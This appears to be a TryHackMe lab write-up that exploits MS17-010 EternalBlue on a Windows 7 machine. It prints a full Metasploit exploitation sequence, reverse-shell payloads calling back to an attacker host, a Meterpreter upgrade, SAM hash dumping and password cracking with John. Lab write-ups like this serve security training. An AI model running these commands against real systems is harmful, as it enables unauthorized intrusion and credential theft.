# Blue Writeup - TryHackMe

> Exploit the MS17-010 EternalBlue vulnerability on a Windows machine using Metasploit to gain SYSTEM-level access via SMB.

- **URL:** https://hackindex.io/writeups/blue
- **Platform:** TryHackMe
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** eternalblue, smb, privilege-escalation, hash-cracking, cve-2017-0143
- **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Blue is an Easy Windows machine built around MS17-010, known as EternalBlue. The NSA-developed exploit leaked in 2017 and powered the WannaCry ransomware attack. The machine runs an unpatched Windows 7 with SMB exposed, making it vulnerable to unauthenticated remote code execution. Exploiting it gives a SYSTEM shell immediately with no further privilege escalation needed. The room also covers post-exploitation: upgrading to a Meterpreter session, dumping hashed credentials from the SAM database, and cracking them offline.

## Reconnaissance

```bash
nmap -sC -sV -p- $TARGET_IP
# Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-20 16:05 UTC
# Nmap scan report for $TARGET_IP
# Host is up (0.035s latency).
#
# PORT      STATE SERVICE       VERSION
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
# 3389/tcp  open  ms-wbt-server Microsoft Terminal Services
# 49152/tcp open  msrpc         Microsoft Windows RPC
# 49153/tcp open  msrpc         Microsoft Windows RPC
# 49154/tcp open  msrpc         Microsoft Windows RPC
# 49158/tcp open  msrpc         Microsoft Windows RPC
# 49159/tcp open  msrpc         Microsoft Windows RPC
#
# Host script results:
# |_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:a4:88:c0:2f:5c (unknown)
# | smb-os-discovery:
# |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
# |   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
# |   Computer name: JON-PC
# |   NetBIOS computer name: JON-PC\x00
# |   Workgroup: WORKGROUP\x00
# |_  System time: 2026-08-20T16:05:38-05:00
# | smb-security-mode:
# |   account_used: guest
# |   authentication_level: user
# |   challenge_response: supported
# |_  message_signing: disabled (dangerous, but default)
# | smb2-time:
# |   date: 2026-08-20T21:05:38
# |_  start_date: 2026-08-20T21:01:52
#
# Nmap done: 1 IP address (1 host up) scanned in 118.24 seconds
```

The scan identifies **Windows 7 Professional SP1** with SMB on port 445. Windows 7 SP1 is end-of-life and was never patched against MS17-010 unless administrators manually applied the emergency patch Microsoft released in March 2017. SMB message signing is disabled, which is the default. The hostname `JON-PC` reveals a username to target later.

Confirm the vulnerability before exploiting:

```bash
nmap -p 445 --script smb-vuln-ms17-010 $TARGET_IP
# Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-20 16:08 UTC
# Nmap scan report for $TARGET_IP
#
# PORT    STATE SERVICE
# 445/tcp open  microsoft-ds
#
# Host script results:
# | smb-vuln-ms17-010:
# |   VULNERABLE:
# |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
# |     State: VULNERABLE
# |     IDs:  CVE:CVE-2017-0143
# |     Risk factor: HIGH
# |       A critical remote code execution vulnerability exists in Microsoft SMBv1
# |        servers (ms17-010).
# |
# |     Disclosure date: 2017-03-14
# |     References:
# |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
# |       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
# |       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
#
# Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds
```

Confirmed vulnerable. The `smb-vuln-ms17-010` script sends a malformed SMB request and checks the response. A vulnerable machine responds in a way that proves it accepts the exploit's packet structure.

## Exploitation

Metasploit contains a stable, well-tested module for EternalBlue. Start Metasploit and configure the module:

```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $TARGET_IP
set LHOST $ATTACKER_IP
set payload windows/x64/shell/reverse_tcp
run
# [*] No payload configured, defaulting to windows/x64/shell/reverse_tcp
# RHOSTS => $TARGET_IP
# LHOST => $ATTACKER_IP
# payload => windows/x64/shell/reverse_tcp
# [*] Started reverse TCP handler on $ATTACKER_IP:4444
# [*] $TARGET_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
# [+] $TARGET_IP:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
# [*] $TARGET_IP:445 - Connecting to target for exploitation.
# [+] $TARGET_IP:445 - Connection established for exploitation.
# [+] $TARGET_IP:445 - Target OS selected valid for OS indicated by SMB reply
# [*] $TARGET_IP:445 - CORE raw buffer dump (42 bytes)
# [*] $TARGET_IP:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
# [*] $TARGET_IP:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
# [*] $TARGET_IP:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
# [+] $TARGET_IP:445 - Target arch selected valid for arch indicated by DCE/RPC reply
# [*] $TARGET_IP:445 - Trying exploit with 12 Groom Allocations.
# [*] $TARGET_IP:445 - Sending all but last fragment of exploit packet
# [*] $TARGET_IP:445 - Starting non-paged pool grooming
# [+] $TARGET_IP:445 - Sending SMBv2 buffers
# [+] $TARGET_IP:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
# [*] $TARGET_IP:445 - Sending final SMBv2 buffers.
# [*] $TARGET_IP:445 - Sending last fragment of exploit packet!
# [*] $TARGET_IP:445 - Receiving response from exploit packet
# [+] $TARGET_IP:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
# [*] $TARGET_IP:445 - Sending egg to corrupted connection.
# [*] $TARGET_IP:445 - Triggering free of corrupted buffer.
# [*] Sending stage (336 bytes) to $TARGET_IP
# [*] Command shell session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49172)
#
# Shell Banner:
# Microsoft Windows [Version 6.1.7601]
#
# C:\Windows\system32>
```

```bash
whoami
# nt authority\system
```

The exploit gives a SYSTEM shell directly, the highest privilege level on Windows. No further privilege escalation is needed.

## Post-Exploitation

Upgrade from a raw shell to a Meterpreter session for better post-exploitation capabilities. Background the current shell and use the shell-to-meterpreter upgrade module:

```bash
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
# [*] Upgrading session ID: 1
# [*] Starting exploit/multi/handler
# [*] Started reverse TCP handler on $ATTACKER_IP:4433
# [*] Sending stage (200774 bytes) to $TARGET_IP
# [*] Meterpreter session 2 opened ($ATTACKER_IP:4433 -> $TARGET_IP:49217)
# [*] Stopping exploit/multi/handler
```

Interact with the new Meterpreter session and verify privileges:

```bash
getuid
# Server username: NT AUTHORITY\SYSTEM
```

Dump all local account hashes from the SAM database:

```bash
hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Jon:1000:aad3b435b51404eeaad3b435b51404ee:$JON_HASH:::
```

The format is `username:RID:LM_hash:NT_hash:::`. The Administrator and Guest accounts show `31d6cfe0d16ae931b73c59d7e0c089c0`, which means the NT hash is empty (accounts are disabled or have no password set). Jon's NT hash is the only one worth cracking. Save it and use John the Ripper:

```bash
echo "$JON_HASH" > jon_hash.txt
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon_hash.txt
# Using default input encoding: UTF-8
# Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
# Press 'q' or Ctrl-C to abort, almost any other key for status
# $JON_PASSWORD        (?)
# 1g 0:00:00:04 DONE (2026-08-20 16:22) 0.2551g/s 2602Kp/s 2602Kc/s
# Use the "--show --format=NT" options to display all of the cracked passwords reliably
```

Jon's password cracks in seconds against rockyou.txt. With valid credentials, you could also authenticate over SMB or RDP for persistent access.

## Flags

```bash
type C:\flag1.txt
type C:\Windows\System32\config\flag2.txt
type C:\Users\Jon\Documents\flag3.txt
# $FLAG_1
#
# $FLAG_2
#
# $FLAG_3
```

- `flag1.txt` sits in the root of `C:\`, accessible to any user on the system.
- `flag2.txt` is in `C:\Windows\System32\config\`, the directory that holds the SAM database. Only SYSTEM and Administrators can read files here.
- `flag3.txt` is in Jon's Documents folder, readable with Jon's credentials or SYSTEM-level access.

## References

- [TryHackMe: Blue](https://tryhackme.com/room/blue) - Room page
- [Exploit-DB: MS17-010](https://www.exploit-db.com/exploits/42315) - CVE-2017-0143 EternalBlue
- [Microsoft Security Bulletin MS17-010](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010) - Original advisory
- [HackIndex: SMB](https://hackindex.io/services/smb) - SMB enumeration and exploitation